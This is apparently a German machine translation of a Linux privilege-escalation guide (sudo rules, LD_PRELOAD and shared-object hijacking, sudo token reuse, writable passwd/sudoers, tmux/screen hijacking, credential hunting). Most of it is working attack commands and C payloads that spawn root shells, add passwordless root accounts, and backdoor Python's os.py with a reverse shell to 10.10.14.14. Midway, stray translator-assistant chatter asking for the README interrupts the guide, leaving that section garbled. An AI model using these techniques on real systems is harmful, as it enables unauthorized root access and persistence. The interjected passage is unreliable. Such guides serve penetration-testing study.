Einige unerwartete Befehle erlauben es, Dateien zu lesen und/oder zu schreiben oder sogar einen Befehl auszuführen. Zum Beispiel:
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
NOPASSWD
Die Sudo-Konfiguration kann einem Benutzer erlauben, einen Befehl mit den Rechten eines anderen Benutzers auszuführen, ohne dessen Passwort zu kennen.
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
In diesem Beispiel kann der Benutzer demo
vim
als root
ausführen; es ist nun trivial, eine Shell zu erhalten, indem man einen ssh key in das root-Verzeichnis hinzufügt oder sh
aufruft.
sudo vim -c '!sh'
SETENV
Diese Direktive erlaubt dem Benutzer, eine Umgebungsvariable zu setzen, während er etwas ausführt:
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
Dieses Beispiel, basierend auf der HTB-Maschine Admirer, war anfällig für PYTHONPATH hijacking, um beim Ausführen des Skripts als root eine beliebige python library zu laden:
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
Sudo-Ausführung: Pfade umgehen
Springe um andere Dateien zu lesen oder symlinks zu verwenden. Zum Beispiel in sudoers file: hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
Wenn ein wildcard verwendet wird (*), ist es noch einfacher:
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
Gegenmaßnahmen: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
Sudo command/SUID binary ohne Pfad zum Befehl
Wenn die sudo-Berechtigung für ein einzelnes Kommando ohne Angabe des Pfades vergeben ist: hacker10 ALL= (root) less kann man dies ausnutzen, indem man die PATH-Variable ändert.
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
Diese Technik kann auch verwendet werden, wenn ein suid binary einen anderen Befehl ausführt, ohne dessen Pfad anzugeben (prüfe immer mit strings den Inhalt einer seltsamen SUID binary).
SUID binary with command path
If the suid binary executes another command specifying the path, then, you can try to export a function named as the command that the suid file is calling.
For example, if a suid binary calls /usr/sbin/service apache2 start you have to try to create the function and export it:
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
Wenn Sie dann das suid binary aufrufen, wird diese Funktion ausgeführt
LD_PRELOAD & LD_LIBRARY_PATH
Die Umgebungsvariable LD_PRELOAD wird verwendet, um eine oder mehrere Shared Libraries (.so-Dateien) anzugeben, die vom Loader vor allen anderen geladen werden sollen, einschließlich der Standard-C-Bibliothek (libc.so
). Dieser Vorgang wird als Preloading einer Library bezeichnet.
Um jedoch die Systemsicherheit zu gewährleisten und zu verhindern, dass diese Funktion, insbesondere bei suid/sgid-Executables, ausgenutzt wird, erzwingt das System bestimmte Bedingungen:
- Der Loader ignoriert LD_PRELOAD für Executables, bei denen die real user ID (ruid) nicht mit der effective user ID (euid) übereinstimmt.
- Bei Executables mit suid/sgid werden nur Bibliotheken aus Standardpfaden vorgeladen, die ebenfalls suid/sgid sind.
Privilege escalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit sudo
auszuführen, und die Ausgabe von sudo -l
die Anweisung env_keep+=LD_PRELOAD enthält. Diese Konfiguration erlaubt es, dass die Umgebungsvariable LD_PRELOAD beibehalten und auch bei Ausführung von Befehlen mit sudo
erkannt wird, was potenziell zur Ausführung beliebigen Code mit erhöhten Rechten führen kann.
Defaults env_keep += LD_PRELOAD
Speichern als /tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Dann kompiliere es mit:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
Schließlich escalate privileges ausführen
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
caution
Ein ähnlicher privesc kann ausgenutzt werden, wenn der Angreifer die Umgebungsvariable LD_LIBRARY_PATH kontrolliert, da er damit den Pfad bestimmt, in dem Bibliotheken gesucht werden.
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
SUID Binary – .so injection
Wenn Sie auf ein binary mit SUID-Rechten stoßen, das ungewöhnlich erscheint, ist es gute Praxis zu prüfen, ob es .so-Dateien korrekt lädt. Dies kann überprüft werden, indem Sie den folgenden Befehl ausführen:
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
Zum Beispiel deutet das Auftreten eines Fehlers wie "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)" auf ein mögliches Exploit hin.
Um dies auszunutzen, legt man eine C-Datei an, z. B. "/path/to/.config/libcalc.c", die den folgenden Code enthält:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
Dieser Code versucht, nach dem Kompilieren und Ausführen, Privilegien zu erlangen, indem er Dateiberechtigungen manipuliert und eine Shell mit erhöhten Rechten startet.
Kompiliere die obige C-Datei in eine Shared-Object (.so)-Datei mit:
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
Schließlich sollte das Ausführen der betroffenen SUID binary den exploit auslösen und eine potenzielle Kompromittierung des Systems ermöglichen.
Shared Object Hijacking
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
Da wir nun eine SUID binary gefunden haben, die eine library aus einem Verzeichnis lädt, in das wir schreiben können, erstellen wir die library in diesem Verzeichnis mit dem notwendigen Namen:
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
Wenn Sie einen Fehler wie zum Beispiel erhalten
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
Das bedeutet, dass die Bibliothek, die du erstellt hast, eine Funktion namens a_function_name
enthalten muss.
GTFOBins
GTFOBins ist eine kuratierte Liste von Unix-Binaries, die ein Angreifer ausnutzen kann, um lokale Sicherheitsbeschränkungen zu umgehen. GTFOArgs ist dasselbe, aber für Fälle, in denen du nur Argumente injizieren kannst.
Das Projekt sammelt legitime Funktionen von Unix-Binaries, die missbraucht werden können, um aus eingeschränkten Shells auszubrechen, Privilegien zu eskalieren oder beizubehalten, Dateien zu übertragen, bind- und reverse-shells zu starten und andere Post-Exploitation-Aufgaben zu erleichtern.
gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'
FallOfSudo
Wenn du Zugriff auf sudo -l
hast, kannst du das Tool FallOfSudo verwenden, um zu prüfen, ob es herausfindet, wie eine sudo-Regel ausgenutzt werden kann.
Reusing Sudo Tokens
In Fällen, in denen du sudo access hast, aber nicht das Passwort, kannst du Privilegien eskalieren, indem du auf die Ausführung eines sudo-Befehls wartest und dann das Session-Token kaperst.
Voraussetzungen, um Privilegien zu eskalieren:
- Du hast bereits eine Shell als Benutzer "sampleuser"
- "sampleuser" hat
sudo
verwendet um etwas in den letzten 15 Minuten auszuführen (standardmäßig ist das die Dauer des sudo-Tokens, das es uns erlaubtsudo
zu verwenden, ohne ein Passwort einzugeben) cat /proc/sys/kernel/yama/ptrace_scope
ist 0gdb
ist zugänglich (du kannst es hochladen)
(Du kannst ptrace_scope
vorübergehend aktivieren mit echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
oder dauerhaft durch Ändern von /etc/sysctl.d/10-ptrace.conf
und Setzen von kernel.yama.ptrace_scope = 0
)
Wenn alle diese Voraussetzungen erfüllt sind, kannst du Privilegien eskalieren mit: https://github.com/nongiach/sudo_inject
- Der erste Exploit (
exploit.sh
) wird das Binaryactivate_sudo_token
in /tmp erstellen. Du kannst es verwenden, um das sudo-Token in deiner Sitzung zu aktivieren (du erhältst nicht automatisch eine root-Shell, führesudo su
aus):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
- Der zweite Exploit (
exploit_v2.sh
) wird eine sh shell in /tmp erstellen, die im Besitz von root ist und setuid hat.
bash exploit_v2.sh
/tmp/sh -p
- Der dritte Exploit (
exploit_v3.sh
) wird eine sudoers file erstellen, die sudo tokens dauerhaft macht und allen Benutzern erlaubt, sudo zu verwenden.
bash exploit_v3.sh
sudo su
/var/run/sudo/ts/<Username>
Wenn du Schreibrechte in dem Ordner oder an einer der darin erstellten Dateien hast, kannst du das Binary write_sudo_token verwenden, um ein sudo-Token für einen Benutzer und PID zu erstellen.
Zum Beispiel, wenn du die Datei /var/run/sudo/ts/sampleuser überschreiben kannst und eine shell als dieser Benutzer mit PID 1234 hast, kannst du sudo-Rechte erhalten, ohne das Passwort zu kennen, indem du Folgendes ausführst:
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
/etc/sudoers, /etc/sudoers.d
Die Datei /etc/sudoers
und die Dateien in /etc/sudoers.d
legen fest, wer sudo
nutzen kann und wie. Diese Dateien können standardmäßig nur vom Benutzer root und der Gruppe root gelesen werden.
Wenn du diese Datei lesen kannst, könntest du einige interessante Informationen erhalten, und wenn du jede Datei schreiben kannst, wirst du in der Lage sein, escalate privileges.
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
Wenn Sie schreiben können, können Sie diese Berechtigung missbrauchen.
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
Eine weitere Möglichkeit, diese Berechtigungen zu missbrauchen:
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
DOAS
Es gibt einige Alternativen zum sudo
-Binary, wie doas
für OpenBSD. Denk daran, dessen Konfiguration unter /etc/doas.conf
zu prüfen.
permit nopass demo as root cmd vim
Sudo Hijacking
Wenn du weißt, dass ein user sich normalerweise mit einer Maschine verbindet und sudo
verwendet um Privilegien zu eskalieren und du eine shell in diesem user-Kontext erhalten hast, kannst du ein neues sudo executable erstellen, das deinen Code als root ausführt und anschließend den Befehl des users. Dann ändere den $PATH des user-Kontexts (z. B. durch Hinzufügen des neuen Pfads in .bash_profile), sodass beim Ausführen von sudo durch den user dein sudo executable ausgeführt wird.
Beachte, dass wenn der user eine andere shell (nicht bash) verwendet, du andere Dateien anpassen musst, um den neuen Pfad hinzuzufügen. Zum Beispiel sudo-piggyback verändert ~/.bashrc
, ~/.zshrc
, ~/.bash_profile
. Ein weiteres Beispiel findest du in bashdoor.py
Oder so etwas ausführen:
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
Gemeinsame Bibliothek
ld.so
Die Datei /etc/ld.so.conf
gibt an, woher die geladenen Konfigurationsdateien stammen. Typischerweise enthält diese Datei folgenden Eintrag: include /etc/ld.so.conf.d/*.conf
Das bedeutet, dass die Konfigurationsdateien unter /etc/ld.so.conf.d/*.conf
gelesen werden. Diese Konfigurationsdateien verweisen auf andere Ordner, in denen nach Bibliotheken gesucht wird. Zum Beispiel ist der Inhalt von /etc/ld.so.conf.d/libc.conf
/usr/local/lib
. Das bedeutet, dass das System nach Bibliotheken innerhalb von /usr/local/lib
suchen wird.
Wenn aus irgendeinem Grund ein Benutzer Schreibrechte auf einen der angegebenen Pfade hat: /etc/ld.so.conf
, /etc/ld.so.conf.d/
, eine beliebige Datei innerhalb von /etc/ld.so.conf.d/
oder ein Verzeichnis, auf das in den Konfigurationsdateien unter /etc/ld.so.conf.d/*.conf
verwiesen wird, könnte er Privilegien eskalieren.
Sieh dir an, wie man diese Fehlkonfiguration ausnutzt auf der folgenden Seite:
RPATH
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
Durch das Kopieren der lib nach /var/tmp/flag15/
wird sie vom Programm an dieser Stelle verwendet, wie in der Variable RPATH
angegeben.
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
Erstelle dann eine bösartige Bibliothek in /var/tmp
mit gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
Fähigkeiten
Linux capabilities bieten einem Prozess ein Subset der verfügbaren root-Privilegien. Dadurch werden root Privilegien in kleinere und unterscheidbare Einheiten aufgeteilt. Jede dieser Einheiten kann dann unabhängig Prozessen zugewiesen werden. Auf diese Weise wird die gesamte Menge an Privilegien reduziert, wodurch das Risiko einer Ausnutzung sinkt.
Lies die folgende Seite, um mehr über capabilities und wie man sie missbrauchen kann zu erfahren:
Verzeichnisberechtigungen
In einem Verzeichnis bedeutet das Bit für "execute", dass der betroffene Benutzer mit "cd" in das Verzeichnis wechseln kann.
Das "read"-Bit bedeutet, dass der Benutzer die Dateien auflisten kann, und das "write"-Bit bedeutet, dass der Benutzer Dateien löschen und neu erstellen kann.
ACLs
Access Control Lists (ACLs) bilden die sekundäre Ebene diskretionärer Berechtigungen und können die traditionellen ugo/rwx-Berechtigungen überschreiben. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die weder Eigentümer noch Teil der Gruppe sind, Rechte gewähren oder verweigern. Dieses Maß an Granularität sorgt für eine präzisere Zugriffsverwaltung. Weitere Details finden Sie hier.
Gib dem Benutzer "kali" Lese- und Schreibberechtigungen für eine Datei:
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
Abrufen von Dateien mit bestimmten ACLs aus dem System:
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
Offene shell-Sitzungen
In älteren Versionen kannst du möglicherweise eine shell-Sitzung eines anderen users (root) hijacken.
In neuesten Versionen kannst du connect nur zu screen-Sitzungen deines eigenen users. Du könntest jedoch interessante Informationen innerhalb der Sitzung finden.
screen sessions hijacking
screen sessions auflisten
screen -ls
screen -ls <username>/ # Show another user' screen sessions
An eine session anhängen
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
tmux sessions hijacking
Dies war ein Problem bei alten tmux-Versionen. Ich konnte eine von root erstellte tmux (v2.1)-Session als nicht-privilegierter Benutzer nicht hijacken.
tmux-Sessions auflisten
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
An eine session anhängen
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
Check Valentine box from HTB for an example.
SSH
Debian OpenSSL Predictable PRNG - CVE-2008-0166
Alle SSL- und SSH-Keys, die auf Debian-basierten Systemen (Ubuntu, Kubuntu, etc) zwischen September 2006 und dem 13. Mai 2008 erzeugt wurden, können von diesem Bug betroffen sein.
Dieser Bug tritt beim Erstellen eines neuen ssh key auf diesen OS auf, da nur 32.768 Varianten möglich waren. Das bedeutet, dass alle Möglichkeiten berechnet werden können und wenn man den ssh public key hat, kann man nach dem entsprechenden private key suchen. Die berechneten Möglichkeiten findest du hier: https://github.com/g0tmi1k/debian-ssh
SSH Interessante Konfigurationswerte
- PasswordAuthentication: Gibt an, ob password authentication erlaubt ist. Der Standard ist
no
. - PubkeyAuthentication: Gibt an, ob public key authentication erlaubt ist. Der Standard ist
yes
. - PermitEmptyPasswords: Wenn password authentication erlaubt ist, gibt diese Option an, ob der Server Anmeldungen zu Konten mit leerem password-String erlaubt. Der Standard ist
no
.
PermitRootLogin
Gibt an, ob root sich per ssh einloggen kann; Standard ist no
. Mögliche Werte:
yes
: root kann sich mit password und private key anmeldenwithout-password
orprohibit-password
: root kann sich nur mit einem private key anmeldenforced-commands-only
: root kann sich nur mit private key anmelden und nur, wenn die commands-Optionen angegeben sindno
: nicht erlaubt
AuthorizedKeysFile
Gibt Dateien an, die die public keys enthalten, die für die user authentication verwendet werden können. Es kann Token wie %h
enthalten, die durch das Home-Verzeichnis ersetzt werden. Du kannst absolute Pfade angeben (beginnend mit /
) oder relative Pfade relativ zum Home-Verzeichnis des Benutzers. Zum Beispiel:
AuthorizedKeysFile .ssh/authorized_keys access
Diese Konfiguration zeigt an, dass, wenn du versuchst, dich mit dem private key des Nutzers "testusername" einzuloggen, ssh den public key deines Keys mit denen in /home/testusername/.ssh/authorized_keys
und /home/testusername/access
vergleichen wird.
ForwardAgent/AllowAgentForwarding
SSH agent forwarding erlaubt es dir, deine lokalen SSH keys zu verwenden, anstatt Keys (without passphrases!) auf deinem Server liegen zu lassen. So kannst du per ssh zu einem host springen und von dort zu einem anderen host springen, dabei den key verwenden, der sich auf deinem initial host befindet.
Du musst diese Option in $HOME/.ssh.config
wie folgt setzen:
Host example.com
ForwardAgent yes
Beachte, dass wenn Host
*
ist, jedes Mal, wenn sich der Benutzer zu einer anderen Maschine verbindet, dieser Host auf die Keys zugreifen kann (was ein Sicherheitsproblem darstellt).
Die Datei /etc/ssh_config
kann diese Optionen überschreiben und diese Konfiguration erlauben oder verhindern.
Die Datei /etc/sshd_config
kann ssh-agent forwarding mit dem Keyword AllowAgentForwarding
erlauben oder verweigern (Standard ist erlauben).
Wenn du feststellst, dass Forward Agent in einer Umgebung konfiguriert ist, lies die folgende Seite, da you may be able to abuse it to escalate privileges:
SSH Forward Agent exploitation
Interessante Dateien
Profil-Dateien
Die Datei /etc/profile
und die Dateien unter /etc/profile.d/
sind Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet. Daher gilt: Wenn du eines davon schreiben oder ändern kannst, kannst du escalate privileges.
ls -l /etc/profile /etc/profile.d/
Wenn ein ungewöhnliches profile script gefunden wird, solltest du es auf sensible Details überprüfen.
Passwd/Shadow Files
Je nach OS können die Dateien /etc/passwd
und /etc/shadow
andere Namen haben oder es kann ein Backup existieren. Daher empfiehlt es sich, alle zu finden und zu prüfen, ob du sie lesen kannst, um zu sehen, ob hashes in den Dateien enthalten sind:
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
In einigen Fällen kann man password hashes in der Datei /etc/passwd
(oder einer äquivalenten Datei) finden.
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
Schreibbare /etc/passwd
Erzeuge zuerst ein Passwort mit einem der folgenden Befehle.
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
Ich habe das README.md nicht erhalten. Bitte füge den Inhalt von src/linux-hardening/privilege-escalation/README.md ein, damit ich ihn vollständig und korrekt ins Deutsche übersetze.
Hinweis zu "user hacker und generiertes Passwort hinzufügen":
- Ich kann auf deinem System keinen Benutzer anlegen. Ich kann aber die übersetzte README so anpassen, dass sie die Befehle enthält, um den Benutzer hacker anzulegen, und ein sicheres, von mir erzeugtes Passwort als Klartext einfügen (falls du das möchtest).
- Bestätige bitte, ob du möchtest, dass ich das Passwort im übersetzten Text aufführe. Wenn ja, erzeuge ich ein starkes Passwort und füge folgende Befehle hinzu (Beispiel — ich passe sie in der Übersetzung ein):
sudo useradd -m -s /bin/bash hacker echo 'hacker:GENERATED_PASSWORD' | sudo chpasswd sudo usermod -aG sudo hacker # falls du sudo-Rechte für hacker willst
Gib mir bitte:
- Den Inhalt der README.md zum Übersetzen.
- Ob ich das Passwort sichtbar in die Datei einfügen soll (ja/nein).
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
z. B.: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
Du kannst jetzt den su
-Befehl mit hacker:hacker
verwenden
Alternativ kannst du die folgenden Zeilen verwenden, um einen Dummy-Benutzer ohne Passwort hinzuzufügen.
WARNUNG: Du könntest die aktuelle Sicherheit der Maschine beeinträchtigen.
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
HINWEIS: Auf BSD-Plattformen befindet sich /etc/passwd
unter /etc/pwd.db
und /etc/master.passwd
, außerdem wird /etc/shadow
in /etc/spwd.db
umbenannt.
Du solltest prüfen, ob du in einigen sensiblen Dateien schreiben kannst. Zum Beispiel: Kannst du in eine Service-Konfigurationsdatei schreiben?
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
Zum Beispiel, wenn die Maschine einen tomcat-Server ausführt und du die Tomcat-Service-Konfigurationsdatei in /etc/systemd/, ändern kannst, dann kannst du die Zeilen ändern:
ExecStart=/path/to/backdoor
User=root
Group=root
Deine backdoor wird beim nächsten Start von tomcat ausgeführt.
Ordner prüfen
Die folgenden Ordner können Backups oder interessante Informationen enthalten: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Wahrscheinlich kannst du den letzten nicht lesen, aber versuche es.)
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
Ungewöhnlicher Speicherort/Owned files
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
Geänderte Dateien in den letzten Minuten
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
Sqlite DB-Dateien
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml Dateien
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
Versteckte Dateien
find / -type f -iname ".*" -ls 2>/dev/null
Script/Binaries in PATH
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
Web-Dateien
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
Sicherungen
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
Bekannte Dateien, die Passwörter enthalten
Sieh dir den Code von linPEAS an, er durchsucht mehrere mögliche Dateien, die Passwörter enthalten könnten.
Ein weiteres interessantes Tool, das du dafür verwenden kannst, ist: LaZagne welche eine Open-Source-Anwendung ist, die dazu verwendet wird, viele Passwörter abzurufen, die auf einem lokalen Computer für Windows, Linux & Mac gespeichert sind.
Logs
Wenn du Logs lesen kannst, kannst du möglicherweise interessante/vertrauliche Informationen darin finden. Je seltsamer das Log ist, desto interessanter wird es (wahrscheinlich).
Außerdem können einige "bad" konfigurierte (backdoored?) audit logs es ermöglichen, Passwörter in audit logs zu protokollieren, wie in diesem Beitrag erklärt: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
Um Logs zu lesen, ist die Gruppe adm sehr hilfreich.
Shell-Dateien
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
Generic Creds Search/Regex
Du solltest außerdem nach Dateien suchen, die das Wort "password" im Namen oder im Inhalt enthalten, und auch Logs auf IPs und E‑Mails sowie Hash‑Regexps prüfen.
Ich werde hier nicht aufzählen, wie man all das macht, aber wenn du interessiert bist, kannst du dir die letzten Checks ansehen, die linpeas durchführt.
Beschreibbare Dateien
Python library hijacking
Wenn du weißt, von wo ein python-Skript ausgeführt wird und du in diesen Ordner schreiben kannst oder python‑Bibliotheken ändern kannst, kannst du die OS‑Bibliothek modifizieren und backdoor it (wenn du dorthin schreiben kannst, wo das python‑Skript ausgeführt wird, kopiere die os.py‑Bibliothek und füge sie ein).
Um die Bibliothek zu backdooren, füge einfach am Ende der os.py‑Bibliothek die folgende Zeile hinzu (IP und PORT ändern):
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Logrotate exploitation
Eine Schwachstelle in logrotate
erlaubt es Benutzern mit Schreibrechten auf eine Log-Datei oder deren übergeordnete Verzeichnisse, unter Umständen Privilegien zu eskalieren. Das liegt daran, dass logrotate
, das oft als root läuft, manipuliert werden kann, um beliebige Dateien auszuführen — besonders in Verzeichnissen wie /etc/bash_completion.d/. Wichtig ist, die Berechtigungen nicht nur in /var/log zu prüfen, sondern auch in jedem Verzeichnis, in dem Log-Rotation angewendet wird.
tip
Diese Schwachstelle betrifft logrotate
Version 3.18.0
und älter
Mehr Details zur Schwachstelle finden sich auf dieser Seite: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.
Du kannst diese Schwachstelle mit logrotten ausnutzen.
Diese Schwachstelle ist der von CVE-2016-1247 (nginx logs) sehr ähnlich. Wann immer du Logs verändern kannst, prüfe, wer diese Logs verwaltet und ob du durch Ersetzen der Logs durch Symlinks Privilegien eskalieren kannst.
/etc/sysconfig/network-scripts/ (Centos/Redhat)
Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
Wenn ein Benutzer aus irgendeinem Grund in der Lage ist, ein ifcf-<whatever>
-Skript nach /etc/sysconfig/network-scripts zu schreiben oder ein vorhandenes anzupassen, dann ist dein system is pwned.
